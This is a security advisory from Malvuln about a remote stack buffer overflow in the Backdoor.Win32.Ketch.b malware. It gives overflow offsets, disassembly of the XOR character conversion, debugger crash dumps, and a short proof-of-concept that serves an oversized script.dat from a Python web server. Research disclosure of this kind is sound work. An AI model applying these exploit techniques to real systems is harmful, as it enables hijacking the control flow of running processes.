Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/9d7be3799594a82bf7056905f501af03.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Ketch.b Vulnerability: Remote Stack Buffer Overflow Description: Makes HTTP GET request for a file "script.dat", and writes the server response to temporary file named "watchb.tmp" under c:\Windows dir. At 1032 bytes we overwrite the buffer which is about 1000 bytes, and sending 1,512 bytes we overwrite EIP. The watchb.tmp holds the response from the server. Type: PE32 MD5: 9d7be3799594a82bf7056905f501af03 Vuln ID: MVID-2021-0019 Dropped files: watchb.tmp ASLR: False DEP: False Safe SEH: True Disclosure: 01/08/2021 C:\>type \Windows\watchb.tmp qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq... Payload gets XOR's complicating things, uppercase gets converted to lowercase, "a" becomes 51 Q... "A" becomes q 71 so it is difficult to control chars for our needs. Therefore, if we want to see the typical 41414141 exploit pattern overwriting EIP we would have to use the lowercase "q" character. After when it is XOR with 30 it will become 41. At offset 004014CE, is where our payload is XOR'd with value of 30, and this would have to be taken into account. 004014CE | E8 5D FF FF FF | call backdoor.win32.ketch.b Reversing the code responsible for payload character conversions e.g. "a" to "Q" and "q" to "A" which challenges exploitation. movzx eax, al (al=BA) push esi mov esi, dword ptr ss[esp+10] (dword ptr [esp+10]=[0019E7F8]=0) sub edx, esi sub eax, esi xor eax, edx (eax=BA, edx=BE) al of EAX is now 4 - EAX 00000004 EDX = BABECAFE mov edx, ecx sar edx, 8 EDX is now, edx=FFBABECA movzx edx, dl EDX is now value CA sub edx, dl movzx ecx, cl (cl=FE) xor eax, edx (EAX=30, edx=CA) sub ecx, esi (ecx=FE, esi=0) xor eax, ecx (eax=CE, edx=FE) EDX =CA mov ecx, dword ptr ss[esp+8] movzx edx, byte ptr ds[ecx] (byte ptr [yte ptr [ecx]=[0019E824]=61 'a') xor eax, edx (eax=30 '0', edx=61 'a') <==================================== HERE cmp eax, A ('\n') EAX = 51 'Q' pop esi (esi=0) je backdoor.win32.ketch test eax, eax (eax=51) je backdoor.win32.ketch (jump not taken) mov byte ptr ds[ecx], al (lower value of EAX 00000051) ret Memory Dump: 0:000> !exchain 0019f1c8: ntdll!_except_handler4+0 (773d6a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (774157ad) 0019f80c: Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+35020 (00435020) 0019fe24: 41414141 Invalid exception stack at 41414141 (16d0.118c): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=029044e1 edx=001a0000 esi=00000000 edi=00000002 eip=773ced3c esp=0019f110 ebp=0019f150 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> .ecxr eax=00000041 ebx=0290065c ecx=029044e1 edx=001a0000 esi=000005ef edi=02903f00 eip=004050a9 esp=0019f7c0 ebp=0019f958 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9: 004050a9 8802 mov byte ptr [edx],al ds:002b:001a0000=41 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+50a9 004050a9 8802 mov byte ptr [edx],al EXCEPTION_RECORD: 0019f310 -- (.exr 0x19f310) ExceptionAddress: 004050a9 (Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x000050a9) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: Backdoor.Win32.Ketch.b.9d7be3799594a82bf7056905f501af03.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 0019f360 -- (.cxr 0x19f360) eax=00000041 ebx=0290065c ecx=029044e1 edx=001a0000 esi=000005ef edi=02903f00 eip=004050a9 esp=0019f7c0 ebp=0019f958 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9: 004050a9 8802 mov byte ptr [edx],al ds:002b:001a0000=41 Resetting default scope WRITE_ADDRESS: 001a0000 FOLLOWUP_IP: Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+50a9 004050a9 8802 mov byte ptr [edx],al FAULTING_THREAD: 0000118c BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE IP_ON_HEAP: 029032f0 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 029032f0 to 004050a9 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0019f958 029032f0 fffffffe 774453ea 773f67ea Backdoor_Win32_Ketch_b_9d7be3799594a82bf7056905f501af03+0x50a9 0019f960 774453ea 773f67ea 000005e8 000005ef 0x29032f0 0019f9c4 7674a402 00000000 00000000 00000000 ntdll!RtlDebugAllocateHeap+0x340 0019fa9c 41414141 41414141 41414141 41414141 KERNELBASE!LocalBaseRegQueryValue+0x202 0019fab0 41414141 41414141 41414141 41414141 0x41414141 0019fab4 41414141 41414141 41414141 41414141 0x41414141 0019fab8 41414141 41414141 41414141 41414141 0x41414141 Exploit/PoC: Setup for attacker server where we control traffic. python -c "print 'q'*1512" > script.dat python -m SimpleHTTPServer 80 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).